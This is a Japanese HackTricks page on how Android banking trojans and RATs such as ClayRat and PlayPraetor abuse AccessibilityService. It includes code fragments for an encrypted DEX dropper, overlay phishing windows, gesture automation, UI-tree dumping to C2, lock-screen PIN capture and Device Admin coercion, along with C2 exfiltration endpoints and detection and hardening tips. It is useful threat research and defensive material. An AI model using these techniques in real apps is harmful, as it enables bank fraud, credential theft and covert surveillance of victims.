Android Accessibility Service の悪用
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
AccessibilityService は障害のあるユーザが Android デバイスとやり取りするのを支援するために作られました。残念ながら、同じく強力な automation APIs(グローバルナビゲーション、テキスト入力、ジェスチャー dispatch、オーバーレイウィンドウ…)はマルウェアによって武器化され、ハンドセットを完全にリモートで制御するために利用され得ます without root privileges。
近年の Android 銀行型 Trojans および Remote-Access-Trojans (RATs)(例:PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda など多く)は、同じレシピに従います:
- 被害者にソーシャルエンジニアリングを仕掛け、悪意のある accessibility service を有効化させる(BIND_ACCESSIBILITY_SERVICE permission は「high-risk」と見なされ、明示的なユーザ操作が必要です)。
- サービスを利用して
- 画面に表示されるすべての UI イベントとテキストをキャプチャする、
- 合成ジェスチャー(
dispatchGesture)やグローバルアクション(performGlobalAction)を注入して、オペレータが望む任意のタスクを自動化する、 - 正当なアプリの上に全画面オーバーレイを描画する(TYPE_ACCESSIBILITY_OVERLAY ウィンドウタイプを使用、
SYSTEM_ALERT_WINDOWのプロンプトは不要!)、 - システムダイアログ上のボタンを被害者の代わりにクリックして追加のランタイム権限を静かに付与する。
- データを流出させたり、ユーザが普通の画面を見ている間にリアルタイムでOn-Device-Fraud (ODF) を実行する。
Packed Accessibility droppers
ClayRat v3.0.8 はその Accessibility RAT を staged payload と組み合わせ、assets/ の下に隠しています。ランタイムでホスト APK は:
assets/*.datから暗号化された blob をストリーミングする。- Java/Kotlin ローダ内に埋め込まれたハードコードされた AES/CBC キー+IV で復号する。
- 平文の DEX をアプリの private dir に書き込み、
DexClassLoader経由でロードし、実際のスパイウェアクラスをメモリ上にのみ露出させる。
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();
このパッキングパターン (ATT&CK T1406.002) は、dropper が実行されるまで Accessibility module を off-disk に保持し、ユーザーが危険な権限をすでに付与するまで static signature scans と Play Protect を回避します。
権限の要求
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
付随する XML は、偽のダイアログがどのように表示されるかを定義します:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
リモートUI自動化のプリミティブ
アクセシビリティサービス自動化のスケルトン
```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }
</details>
これら2つの APIs だけで攻撃者は次のことができる:
* 画面のロックを解除し、銀行アプリを開き、その UI ツリーをナビゲートして送金フォームを送信する。
* 表示されるすべての permission ダイアログを承認する。
* Play Store intent 経由で追加の APKs をインストール/更新する。
---
## 悪用パターン
### 1. Overlay Phishing (Credential Harvesting)
透明または不透明な `WebView` が window manager に追加される:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
被害者が偽フォームに資格情報を入力している間、バックグラウンドのアプリが同じジェスチャーを受け取る — 「draw over other apps」のような怪しいプロンプトは一切表示されない。
詳細な例: Accessibility Overlay Phishing セクション (Tapjacking ページ内)。
ClayRat はこの機能を show_block_screen / hide_block_screen コマンドで公開しており、これらは C2 からオーバーレイテンプレートをダウンロードする。オペレータはレイアウトを動的に切り替えて次を実行できる:
- 黒く覆う パネルを表示して被害者に端末がオフまたはフリーズしていると誤認させ、その間にバックグラウンドの自動ジェスチャーで Play Protect を無効化したり追加の権限を付与したりする。
- システム更新 / バッテリー最適化 の偽パネルを表示してデバイスが「処理中」であることを正当化し、バックグラウンドの自動化を継続する。
- インタラクティブな PIN パッド オーバーレイを表示してシステムのロック画面を模倣する — マルウェアは各桁を記録し、4桁コードが入力されると直ちにオペレータへストリーム送信する。
TYPE_ACCESSIBILITY_OVERLAY ウィンドウは SYSTEM_ALERT_WINDOW 権限プロンプトを発生させないため、被害者にはデコイ UI だけが見える一方で RAT は下層の実アプリと継続的にやり取りを行う。
2. デバイス上での不正取引自動化
PlayPraetor のようなマルウェアファミリは、オペレータが高レベルコマンド(init, update, alert_arr, report_list, …)を発行できる持続的な WebSocket チャネルを維持する。サービスはそれらのコマンドを上記の低レベルジェスチャに変換し、該当デバイスに紐づく多要素認証を容易に回避してリアルタイムの不正取引を実行する。
3. 画面ストリーミングと監視
ClayRat は通常の MediaProjection 手法をリモートデスクトップスタックへ拡張する:
turbo_screenが MediaProjection の同意ダイアログを起動する;Accessibility サービスが “Start now” をクリックするため被害者は介入しない。- 取得した
MediaProjectionトークンでImageReaderをバックエンドに持つVirtualDisplayを作成し、ForegroundServiceを維持してワーカースレッドでフレームをドレインする。 - フレームはオペレータ提供の
set_qualityパラメータに従って JPEG/PNG エンコードされ(欠如時はデフォルト60)、カスタムClayRemoteDesktopuser-agent を宣伝する HTTP→WebSocket アップグレード経由で送信される。 start_desktop/stop_desktopがキャプチャスレッドを管理し、screen_tap,screen_swipe,input_text,press_home,press_back,press_recentsがライブフレームバッファに対してジェスチャをリプレイする。
その結果、root やカーネルエクスプロイトを使わずに正式な API だけで配信される VNC 風のフィードを実現し、ミリ秒単位の遅延で攻撃者にライブの状況認識を提供する。
4. ロック画面の認証情報窃取と自動解除
ClayRat は com.android.systemui (Keyguard) が発する TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED イベントを購読し、稼働中のガードを再構築する:
- PIN – ロッカーが完了を報告するまでテンキーのボタン押下を監視する。
- Password – 各
AccessibilityEventでフォーカスされたパスワードフィールドに現れた文字列を連結する。 - Pattern – 3×3 グリッド上のジェスチャ座標から推定される順序付きノードインデックスを記録する。
シークレットとメタデータ(ロック種別 + タイムスタンプ)は lock_password_storage の下で SharedPreferences にシリアライズされる。オペレータが auto_unlock を送ると、サービスは unlock_device / screen_on でデバイスを起動し、保存された桁やジェスチャを dispatchGesture 経由で再生してサイレントに keyguard をバイパスし、その後の ODF ワークフローを継続させる。
5. 通知を使ったフィッシングと収集
付随する Notification Listener は通知シェードをフィッシング面に変える:
get_push_notificationsは表示中の全通知をダンプする(OTP / MFA メッセージを含む)。notificationsコマンドはnotifications_enabledフラグを切り替え、以降のonNotificationPosted()ペイロードをリアルタイムで C2 にストリームする。send_push_notificationによりオペレータは銀行アプリやチャットアプリを装った偽のインタラクティブ通知を作成でき、被害者が入力したテキストは資格情報として解析され即座に外部へ流出する。
Accessibility により通知シェードをプログラム的に開閉できるため、この手法は対象アプリに触れることなくシークレットを収集する。
6. 電話と SMS を使ったコマンドチャネル
被害者を強引に RAT をデフォルトの SMS アプリに設定させた後、以下のコマンドでモデムを完全制御できる:
send_smsとretransmishionは任意またはリプレイしたメッセージを攻撃者管理の番号へ送信する。messsmsは連絡先データベース全体を反復してフィッシングリンクをスパム送信し、ワームのように拡散させる。make_callはソーシャルエンジニアリング用途の音声通話を開始する。get_sms_list/get_smsやget_call_log/get_callsは受信箱や通話履歴をダンプし、MFA コードや通話メタデータを即時に悪用できるようにする。
Accessibility 駆動の UI ナビゲーションと組み合わせることで、ClayRat は通知/SMS 経由で OTP を受信して即座に対象の銀行やエンタープライズアプリ内に入力することができる。
7. 発見、収集、プロキシ
追加の ClayRat コマンドは環境をマッピングし、C2 のレジリエンスを保つ:
get_apps/get_apps_listはインストール済みパッケージを列挙する (ATT&CK T1418)。get_device_infoはモデル、OS バージョン、バッテリ状態を報告する (T1426)。get_cam/get_cameraはフロントカメラの静止画を取得し、get_keylogger_dataはロック PIN やパスワード、敏感フィールドからスクレイピングしたビュー説明やヒントをシリアライズする。get_proxy_dataはプロキシ WebSocket URL を取得し、ユニークデバイス ID を付加してジョブを起動し、同じ双方向チャネル上で HTTP/HTTPS をトンネルする (T1481.002 / T1646)。
PlayPraetor – command & control workflow
- HTTP(S) heartbeat – ハードコーディングされたリストを順に試し、どれかが
POST /app/searchPackageNameにアクティブな C2 を返すまで反復する。 - WebSocket (port 8282) – 双方向 JSON コマンド:
update– 新しい conf/APK をプッシュalert_arr– オーバーレイテンプレートを構成report_list– ターゲットパッケージ名のリストを送信heartbeat_web– キープアライブ
- RTMP (port 1935) – ライブ画面 / ビデオストリーミング。
- REST exfiltration –
/app/saveDevice(fingerprint)/app/saveContacts|/app/saveSms|/app/uploadImageBase64/app/saveCardPwd(bank creds)
AccessibilityService はこれらクラウドコマンドを物理的な操作に変換するローカルエンジンである。
Detecting malicious accessibility services
adb shell settings get secure enabled_accessibility_services- Settings → Accessibility → Downloaded services – Google Play 以外のアプリをチェックする。
- MDM / EMM ソリューションは
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY(Android 13+) を強制してサイドロードされたサービスをブロックできる。 - 実行中のサービスを解析:
adb shell dumpsys accessibility | grep "Accessibility Service"
Hardening recommendations for app developers
- 敏感なビューに
android:accessibilityDataSensitive="accessibilityDataPrivateYes"をマークする (API 34+)。 - tap/overlay ハイジャックを防ぐために
setFilterTouchesWhenObscured(true)とFLAG_SECUREを組み合わせる。 WindowManager.getDefaultDisplay().getFlags()やViewRootImplAPI をポーリングしてオーバーレイを検出する。Settings.canDrawOverlays()が有効、または信頼されていない Accessibility サービスがアクティブな場合は動作を拒否する。
ATS automation cheat-sheet (Accessibility-driven)
Malware は Accessibility API のみで銀行アプリを完全自動化できる。汎用プリミティブ:
ATS 自動化のヘルパーメソッド
```java // Helpers inside your AccessibilityService private ListExample flow (チェコ語 → 英語ラベル):
- “Nová platba” (新しい支払い) → クリック
- “Zadat platbu” (支払いを入力) → クリック
- “Nový příjemce” (新しい受取人) → クリック
- “Domácí číslo účtu” (国内の口座番号) → フォーカスして
ACTION_SET_TEXT - “Další” (次へ) → クリック → … “Zaplatit” (支払う) → クリック → PINを入力
Fallback: カスタムウィジェットのためにテキスト検索が失敗した場合、dispatchGesture を使ったハードコードされた座標。
Also seen: limits UI に移動して振込前に日次限度を増やすことで、check_limit と limit への事前ステップを実行する例。
テキストベースの擬似スクリーンストリーミング
低遅延のリモート制御のために、フル動画ストリーミングの代わりに現在のUIツリーのテキスト表現をダンプして、C2に繰り返し送信する。
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
これは txt_screen(ワンショット)や screen_live(連続実行)のようなコマンドの基礎です。
Device Admin の強制プリミティブ
Device Admin receiver が有効化されると、これらの呼び出しは認証情報を取得し、制御権を維持する機会を増やします:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
注: これらのポリシーの正確な可用性は Android のバージョンや OEM により異なります。テスト中はデバイスのポリシー役割(admin vs owner)を確認してください。
Crypto wallet seed-phrase extraction patterns
MetaMask、Trust Wallet、Blockchain.com、Phantom に対して観測されたフロー:
- 盗まれたPINでアンロック(overlay/Accessibilityで取得)または提供されたウォレットパスワードでアンロック。
- 移動: Settings → Security/Recovery → Reveal/Show recovery phrase。
- テキストノードの keylogging、secure-screen bypass、またはテキストが隠されている場合の screenshot OCR によりフレーズを収集。
- 選択子を安定させるために複数ロケール (EN/RU/CZ/SK) をサポート — 可能であれば
viewIdResourceNameを優先し、なければ多言語のテキストマッチにフォールバック。
NFC-relay orchestration
Accessibility/RAT モジュールは、サードステージとして専用の NFC-relay アプリ(例: NFSkate)をインストールおよび起動し、被害者をカード呈示によるリレー手順へ導く overlay ガイドを注入することさえあります。
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
References
- Return of ClayRat: Expanded Features and Techniques
- ClayRat v3 IoCs (Zimperium)
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

